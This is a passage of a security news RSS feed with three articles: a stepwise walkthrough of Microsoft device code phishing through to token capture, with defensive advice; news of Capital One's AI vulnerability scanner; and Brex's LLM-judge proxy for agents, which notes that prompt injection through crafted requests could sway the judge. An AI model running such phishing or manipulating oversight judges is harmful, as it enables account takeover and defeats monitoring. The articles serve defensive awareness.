<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fbsd.slashdot.org%2Fstory%2F26%2F07%2F18%2F1843243%2Fnextbsd-returns-to-port-apple-source-onto-freebsd%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://bsd.slashdot.org/story/26/07/18/1843243/nextbsd-returns-to-port-apple-source-onto-freebsd?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]></title>
<description><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your PasswordThe most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why tra...]]></description>
<link>https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OVpY6KkTRyuVGErNrEOnw.png"></figure><p>The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.</p><p>Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWV-Evt-XtPkaXDpCmwEVg.png"><figcaption>At first glance, this page looks completely legitimate.</figcaption></figure><p>It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.</p><p>So, it must be safe… right?</p><p>Not necessarily.</p><p>Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.</p><p>In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.</p><h3>What is Device Code Authentication?</h3><p>Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.</p><p>Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.</p><p>Instead of entering credentials directly on the device, Microsoft generates a short verification code.</p><p>The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.</p><p>The authenticated session is then linked back to the requesting application.</p><p>This workflow is completely legitimate and is widely used by Microsoft-supported applications.</p><p>Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.</p><h3>How Device Code Phishing Works</h3><p>Unlike traditional phishing attacks, Device Code Phishing does <strong>not</strong> steal passwords.</p><p>Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.</p><p>The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.</p><p><strong>Stage 1 — The Phishing Email</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAn7mYR2AdzzB3hwopRHjw.png"><figcaption>Initial Phishing Email</figcaption></figure><p>The attack usually begins with a convincing phishing email.</p><p>In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account immediately.</p><p>The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.</p><p>Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.</p><p>This subtle difference is what makes Device Code Phishing particularly dangerous.</p><p><strong>Stage 2 — The Fake Verification Portal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AojoCLPiwGgkLGcDH88gRA.png"><figcaption>Device Code Phishing Page</figcaption></figure><p>After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.</p><p>The page displays:</p><ul><li>A Microsoft verification code</li><li>Instructions explaining how to complete authentication</li><li>A button that automatically opens Microsoft’s legitimate Device Login page</li></ul><p>Everything appears authentic.</p><p>Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.</p><p>Instead, it simply instructs the user to authenticate through Microsoft itself.</p><p>This dramatically increases trust.</p><p><strong>Stage 3 — Redirecting to Microsoft’s Official Login Page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxT4KVaMxg7heCzDMx58Bg.png"><figcaption>Official Microsoft Device Login</figcaption></figure><p>Clicking the verification button redirects the victim to Microsoft’s official Device Login page.</p><p>Notice the URL.</p><p>The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com</p><p>This is not a fake login page.</p><p>This is Microsoft’s real authentication portal.</p><p>Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.</p><p><strong>Stage 4 — Entering the Device Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFq44SaoP4Gcy7Y_7QxXHA.png"><figcaption>Microsoft Device Authentication</figcaption></figure><p>The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.</p><p>At this point, everything still appears normal.</p><p>The authentication process is entirely handled by Microsoft.</p><p>No passwords have been stolen.</p><p>No fake login page has been displayed.</p><p>Yet the attacker is already one step closer to gaining access.</p><p><strong>Stage 5 — Microsoft Requests Account Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3m7P_UTRW5Zprk35ydVMA.png"><figcaption>Account Selection</figcaption></figure><p>Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.</p><p>Again, this occurs entirely on Microsoft’s legitimate infrastructure.</p><p>Nothing appears suspicious.</p><p>Most users assume they are completing a routine Microsoft verification process.</p><p><strong>Stage 6 — Granting Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew9Rlt7lKtc3NSjGugG7CQ.png"><figcaption>Authorization Prompt</figcaption></figure><p>Microsoft now asks the user to confirm the authentication request.</p><p>The victim clicks <strong>Continue</strong>, believing they are protecting or verifying their Microsoft account.</p><p>Instead, they are unknowingly authorizing an attacker-controlled application.</p><p><strong>Stage 7 — Authentication Complete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyN4hx6sY5t0rM_KDsBFw.png"><figcaption>Successful Authorization</figcaption></figure><p>Microsoft confirms that authentication has completed successfully.</p><p>From the victim’s perspective, everything appears perfectly normal.</p><p>There are no error messages.</p><p>No warnings.</p><p>No indication that their Microsoft session has now been shared with someone else.</p><h4>Stage 8 — The Attacker Receives the Access Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNu8X_BbbhhP4XFhhrqC6Q.png"><figcaption>Attacker Token Captured dashboard</figcaption></figure><p>Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.</p><p>Unlike traditional phishing attacks, the attacker never needed the victim’s password.</p><p>Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.</p><p><strong>Stage 9 — Accessing Microsoft Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqRMWz0deomvWmiCV1QAag.png"><figcaption>Searching Microsoft Graph Data</figcaption></figure><p>Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.</p><p>Depending on the permissions available, this may allow access to resources such as:</p><ul><li>Outlook email</li><li>OneDrive files</li><li>SharePoint data</li><li>Microsoft Teams information</li><li>Other Microsoft 365 resources</li></ul><p>In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.</p><h3>Why Device Code Phishing Is So Effective</h3><p>Traditional phishing relies on fake login pages.</p><p>Device Code Phishing is different.</p><p>The victim authenticates directly with Microsoft.</p><p>Every important step occurs on Microsoft’s legitimate domain.</p><p>This removes many of the indicators users have been trained to recognize.</p><p>There are:</p><ul><li>No fake Microsoft login pages.</li><li>No stealing of passwords.</li><li>No cloned authentication forms.</li><li>No obvious browser warnings.</li></ul><p>Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.</p><h3>Why This Matters</h3><p>Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.</p><h3>How to Protect Yourself</h3><p>Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.</p><h4>Never authenticate unless you initiated the request.</h4><p>If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.</p><h4>Check why you are being asked to authenticate.</h4><p>Ask yourself:</p><ul><li>Did I start this login?</li><li>Am I trying to sign in on another device?</li><li>Was I expecting this authentication request?</li></ul><p>If the answer is no, do not continue.</p><h4>Be cautious of urgent security emails.</h4><p>Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.</p><h4>Review recently authorized applications.</h4><p>Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.</p><h4>Revoke active sessions if you suspect compromise.</h4><p>If you believe you accidentally completed a Device Code Phishing request:</p><ul><li>Immediately sign out of all active Microsoft sessions.</li><li>Revoke recently granted application permissions.</li><li>Change your Microsoft account password.</li><li>Inform your organization’s IT or Security team.</li><li>Review your recent sign-in activity for any suspicious access.</li></ul><p>Acting quickly can significantly reduce the impact of token-based attacks.</p><h3>Conclusion</h3><p>Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.</p><p>By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.</p><p>This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.</p><p>Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.</p><p>As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfa189643f45" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without-cfa189643f45">Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]></title>
<description><![CDATA[Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now a...]]></description>
<link>https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.capitalone.com/">Capital One</a> on Thursday released <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and <a href="https://github.com/capitalone/vulnhunter">now available on GitHub</a> under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.</p><p>The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a <a href="https://www.capitalone.com/digital/facts2019/">2019 data breach</a> that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">$80 million federal fine</a>.</p><p>Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "<a href="https://github.com/capitalone/vulnhunter">attacker-first forward analysis</a>" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.</p><p>The tool currently runs on Anthropic's <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8 model</a> inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.</p><h2><b>The 2019 breach that reshaped how Capital One thinks about cybersecurity</b></h2><p>To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.</p><p>On July 19, 2019, <a href="https://www.capitalone.com/digital/facts2019/">Capital One disclosed </a>that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's <a href="https://www.capitalone.com/digital/responsible-disclosure/">Responsible Disclosure Program</a> on July 17 of that year.</p><p>The damage was sweeping. Approximately <a href="https://www.npr.org/2019/07/30/746687015/100-million-people-in-the-u-s-affected-by-capital-one-data-breach">100 million people in the United States</a> and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.</p><p>In August 2020, the Office of the Comptroller of the Currency <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">fined Capital One $80 million</a>, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.</p><p>The incident became an industry case study in the dangers of moving fast with new technology. As <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop reported</a> in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."</p><h2><b>How Capital One rebuilt its security reputation through open-source investment</b></h2><p>What followed was not a retreat from technology but a doubling down — with security explicitly at the center.</p><p>Capital One had declared itself an "<a href="https://capitalonesoftware.com/blog/cloud-migration-journey">open-source first</a>" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the <a href="https://openssf.org/">Open Source Security Foundation</a> as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud &amp; Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the <a href="https://openssf.org/press-release/2022/08/24/capital-one-joins-open-source-security-foundation/">OpenSSF announcement</a>.</p><p>Behind that public commitment lay a substantial operational apparatus. Capital One's <a href="https://www.capitalone.com/tech/open-source/">Open Source Program Office</a>, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.</p><p>Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as <a href="https://sdtimes.com/os/how-capital-one-is-strengthening-the-software-supply-chain/">reported by SD Times</a>. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.</p><h2><b>Inside VulnHunter's three-stage AI engine for finding exploitable code</b></h2><p>For engineering leaders evaluating <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.</p><p>In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.</p><p>The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.</p><p>In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.</p><p>Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.</p><h2><b>Why AI-powered attacks are forcing banks to rethink traditional cyber defenses</b></h2><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.</p><p>The company's own AI security researchers have been tracking these trends closely. At <a href="https://www.capitalone.com/tech/software-engineering/secon-2024/">NeurIPS 2024</a> in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.</p><p>Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "<a href="https://pure.psu.edu/en/publications/backdooralign-mitigating-fine-tuning-based-jailbreak-attack-with-/fingerprints/?sortBy=alphabetically">BackdoorAlign</a>," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "<a href="https://arxiv.org/html/2406.18510v1">WildTeaming</a>," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.</p><p>The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.</p><h2><b>What Capital One's cloud security journey reveals about the entire banking industry</b></h2><p>Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One <a href="https://www.latimes.com/business/story/2019-07-30/capital-one-cloud-safety-hacker-breach">moved aggressively to Amazon Web Services</a> in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, <a href="https://www.forbes.com/sites/peterhigh/2016/12/12/how-capital-one-became-a-leading-digital-bank/">publicly championed the cloud</a> as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.</p><p>The <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop report</a> from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.</p><p>Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.</p><p>Whether <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]></title>
<description><![CDATA[OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents w...]]></description>
<link>https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://venturebeat.com/security/openclaw-500000-instances-no-enterprise-kill-switch">OpenClaw</a> has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.</p><p>Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The <a href="https://www.brex.com/journal/building-crabtrap-open-source">open-source HTTP/HTTPS proxy</a> intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. </p><p>“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”</p><p>The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.</p><h2>How Brex targeted the transport layer</h2><p>The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. </p><p>“Any <a href="https://venturebeat.com/orchestration/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models">agentic system</a> with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. </p><p>Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.</p><p>Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.</p><p>Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”</p><p>“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”</p><p>Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. </p><p>This made the transport layer a core architectural component and natural starting point, he said. </p><p>By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set <i>HTTP_PROXY</i> and <i>HTTPS_PROXY</i> in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.</p><p>However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”</p><p>“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. </p><h2>The LLM-as-a-judge training loop</h2><p>CrabTrap combines deterministic static rules with an <a href="https://venturebeat.com/infrastructure/monitoring-llm-behavior-drift-retries-and-refusal-patterns">LLM-as-a-judge</a> for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.</p><p>The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.</p><p>“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”</p><p>Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. </p><p>From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. </p><p>All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. </p><p>“That closes the loop between observed denials and policy refinement,” Franceschi said. </p><h2>Core challenges and roadblocks </h2><p>Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. </p><p>However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said. </p><p>The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. </p><p>Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. </p><h2>Results, and where CrabTrap might evolve</h2><p>Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. </p><p>Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. </p><p>“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. </p><p>Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of 